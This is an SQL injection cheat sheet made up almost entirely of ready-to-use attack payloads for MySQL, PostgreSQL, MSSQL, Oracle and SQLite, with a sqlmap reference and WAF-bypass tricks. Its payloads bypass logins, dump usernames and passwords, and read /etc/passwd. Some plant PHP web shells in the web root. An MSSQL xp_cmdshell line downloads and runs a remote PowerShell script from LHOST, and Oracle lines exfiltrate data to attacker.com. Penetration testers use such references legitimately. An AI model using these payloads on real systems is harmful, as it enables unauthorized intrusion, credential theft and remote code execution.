SQL Injection Cheat Sheet

Detection

Test every user-controlled input: GET/POST params, headers, cookies.

# String-based
'
''
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'#
' OR '1'='1'/*
" OR "1"="1"--

# Integer-based
1 OR 1=1
1 OR 1=1--
1' OR '1'='1
1 AND 1=1
1 AND 1=2          # Compare: true vs false response

# Error-based detection
'
'"
`
')
")
`)
'))
'))))

# Comment variations
--            # MySQL, MSSQL, PostgreSQL, Oracle
-- -          # MySQL (space after --)
#             # MySQL
/*comment*/   # All DBMS
;             # Stacked queries (MSSQL, PostgreSQL)

# Time-based detection (blind)
' AND SLEEP(5)--                    # MySQL
' AND pg_sleep(5)--                 # PostgreSQL
'; WAITFOR DELAY '0:0:5'--         # MSSQL
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- # Oracle

Authentication Bypass

# Classic login bypass
admin' OR '1'='1'--
admin' OR '1'='1'#
admin'--
' OR 1=1--
' OR 1=1#
'=' 
' LIKE '%
admin' OR 1=1 LIMIT 1--
admin')--

# Password field bypass
anything' OR '1'='1
anything' OR '1'='1'--

# Second-order SQLi
# Register username: admin'--
# Login with that username → WHERE username='admin'--' AND password='...'

MySQL

Information Gathering

# Version
SELECT @@version
SELECT version()

# Current user / database
SELECT user()
SELECT current_user()
SELECT database()

# List databases
SELECT schema_name FROM information_schema.schemata

# List tables
SELECT table_name FROM information_schema.tables WHERE table_schema='dbname'
SELECT table_name FROM information_schema.tables WHERE table_schema=database()

# List columns
SELECT column_name FROM information_schema.columns WHERE table_name='tablename'

# Dump data
SELECT username,password FROM users

Union-Based

# Find number of columns
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -     # Increment until error

# NULL-based column count
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -

# Find displayable columns
' UNION SELECT 1,2,3-- -

# Extract data
' UNION SELECT username,password,3 FROM users-- -
' UNION SELECT group_concat(username,':',password),2,3 FROM users-- -

# Dump all databases
' UNION SELECT group_concat(schema_name),2,3 FROM information_schema.schemata-- -

# Dump all tables
' UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schema='dbname'-- -

# Dump all columns
' UNION SELECT group_concat(column_name),2,3 FROM information_schema.columns WHERE table_name='users'-- -

Error-Based

# extractvalue
' AND extractvalue(1,concat(0x7e,(SELECT @@version),0x7e))-- -

# updatexml
' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)-- -

# Double query
' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT user()),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -

Blind Boolean

# True/false testing
' AND 1=1-- -     # True
' AND 1=2-- -     # False

# Extract data character by character
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- -
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>97-- -
' AND (SELECT LENGTH(password) FROM users LIMIT 1)=32-- -

Blind Time-Based

' AND SLEEP(5)-- -
' AND IF(1=1,SLEEP(5),0)-- -
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)-- -
' AND IF(ASCII(SUBSTRING((SELECT database()),1,1))>100,SLEEP(5),0)-- -

File Read/Write

# Read file
' UNION SELECT LOAD_FILE('/etc/passwd'),2,3-- -

# Write file (requires FILE priv + writable dir)
' UNION SELECT '<?php system($_GET["cmd"]); ?>',2,3 INTO OUTFILE '/var/www/html/shell.php'-- -
' UNION SELECT "",2,3 INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED BY 0x3c3f706870...-- -

Stacked Queries

# MySQL doesn't support stacked queries via mysqli_query()
# BUT works with PDO and mysqli_multi_query()
'; INSERT INTO users VALUES('hacker','hacked');-- -

PostgreSQL

Information Gathering

SELECT version()
SELECT current_user
SELECT current_database()
SELECT datname FROM pg_database
SELECT tablename FROM pg_tables WHERE schemaname='public'
SELECT column_name FROM information_schema.columns WHERE table_name='users'

Union-Based

# Same technique as MySQL but use NULL for type matching
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password,NULL FROM users--
' UNION SELECT string_agg(username||':'||password,','),NULL,NULL FROM users--

Error-Based

' AND 1=CAST((SELECT version()) AS int)--
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--

Blind Time-Based

' AND (SELECT pg_sleep(5))--
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--

File Read / Command Execution

# Read file
' UNION SELECT pg_read_file('/etc/passwd'),NULL,NULL--

# Command execution (superuser required)
'; DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;--

# Large object file read
SELECT lo_import('/etc/passwd');
SELECT lo_get(OID_NUMBER);

MSSQL

Information Gathering

SELECT @@version
SELECT user_name()
SELECT db_name()
SELECT name FROM master..sysdatabases
SELECT name FROM sysobjects WHERE xtype='U'
SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')

Union-Based

' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password,NULL FROM users--

Error-Based

' AND 1=CONVERT(int,(SELECT @@version))--
' AND 1=CONVERT(int,(SELECT TOP 1 username FROM users))--
' AND 1=(SELECT TOP 1 username FROM users)--

Blind Time-Based

'; WAITFOR DELAY '0:0:5'--
'; IF (1=1) WAITFOR DELAY '0:0:5'--
'; IF (SELECT COUNT(*) FROM users WHERE username='admin')=1 WAITFOR DELAY '0:0:5'--

Stacked Queries & RCE

# MSSQL supports stacked queries
'; EXEC xp_cmdshell 'whoami';--

# Enable xp_cmdshell
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--
'; EXEC xp_cmdshell 'powershell -c "IEX(IWR http://LHOST/shell.ps1)"';--

# Read files
'; EXEC xp_cmdshell 'type C:\inetpub\wwwroot\web.config';--

# OLE automation (alternative RCE)
'; DECLARE @o int; EXEC sp_oacreate 'wscript.shell',@o out; EXEC sp_oamethod @o,'run',null,'cmd /c whoami > C:\temp\out.txt';--

Oracle

Information Gathering

SELECT banner FROM v$version
SELECT user FROM dual
SELECT owner,table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

Union-Based

# Oracle requires FROM in every SELECT
' UNION SELECT NULL,NULL FROM dual--
' UNION SELECT username,password FROM users--

# String concatenation
' UNION SELECT username||':'||password,NULL FROM users--

Error-Based

' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual))--
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))--

Blind Time-Based

' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--
' AND (CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 1 END)=1--

Out-of-Band (OOB)

# DNS exfiltration
' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))--
' AND 1=DBMS_LDAP.INIT(((SELECT user FROM dual)||'.attacker.com'),80)--

SQLite

Information Gathering

SELECT sqlite_version()
SELECT name FROM sqlite_master WHERE type='table'
SELECT sql FROM sqlite_master WHERE name='users'
SELECT * FROM users

Union-Based

' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password,NULL FROM users--
' UNION SELECT group_concat(username||':'||password),NULL,NULL FROM users--
' UNION SELECT sql,NULL,NULL FROM sqlite_master--

Blind Boolean

' AND UNICODE(SUBSTR((SELECT password FROM users LIMIT 1),1,1))>64--

File Read (via ATTACH)

# Attach new database to writable location
'; ATTACH DATABASE '/var/www/html/shell.php' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn VALUES('<?php system($_GET["cmd"]); ?>');--

SQLMap Quick Reference

# Basic usage
sqlmap -u "http://target/page?id=1" --batch --dbs

# POST data
sqlmap -u "http://target/login" --data="user=test&pass=test" --batch

# From Burp request file
sqlmap -r request.txt --batch --dbs

# Enumerate
sqlmap -u URL --batch --dbs                    # List databases
sqlmap -u URL --batch -D dbname --tables       # List tables
sqlmap -u URL --batch -D dbname -T users --dump  # Dump table
sqlmap -u URL --batch -D dbname -T users --columns  # List columns

# Specific techniques
sqlmap -u URL --technique=U --batch             # Union only
sqlmap -u URL --technique=B --batch             # Boolean blind
sqlmap -u URL --technique=T --batch             # Time blind

# OS shell
sqlmap -u URL --os-shell --batch
sqlmap -u URL --os-cmd="whoami" --batch

# File read/write
sqlmap -u URL --file-read="/etc/passwd" --batch
sqlmap -u URL --file-write=shell.php --file-dest=/var/www/html/shell.php --batch

# Tamper scripts (WAF bypass)
sqlmap -u URL --tamper=space2comment --batch
sqlmap -u URL --tamper=between,randomcase --batch

# Common tamper scripts:
# space2comment, between, randomcase, charencode
# equaltolike, base64encode, percentage

WAF Bypass Techniques

# Case variation
SeLeCt, sElEcT, SELECT

# Comment injection
SEL/**/ECT, UN/**/ION
/*!50000SELECT*/ (MySQL version-based comment)

# URL encoding
%27 = '
%53%45%4c%45%43%54 = SELECT
Double encoding: %2527 = %27 = '

# Whitespace alternatives
/**/          # Comment as space
%09           # Tab
%0a           # Newline
%0d           # Carriage return
+             # Plus (URL encoded space)

# String concatenation (avoid quotes)
# MySQL:  CONCAT(0x61,0x64,0x6d,0x69,0x6e) = 'admin'
# MySQL:  CHAR(97,100,109,105,110) = 'admin'
# MSSQL:  'ad'+'min'
# Oracle: 'ad'||'min'
# PostgreSQL: CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)

# Keyword alternatives
UNION ALL SELECT (instead of UNION SELECT)
&&  instead of AND
||  instead of OR
LIKE instead of =

# Inline comments (MySQL)
1'/*!UNION*//*!SELECT*/1,2,3-- -

# NULL bytes
%00' UNION SELECT 1,2,3--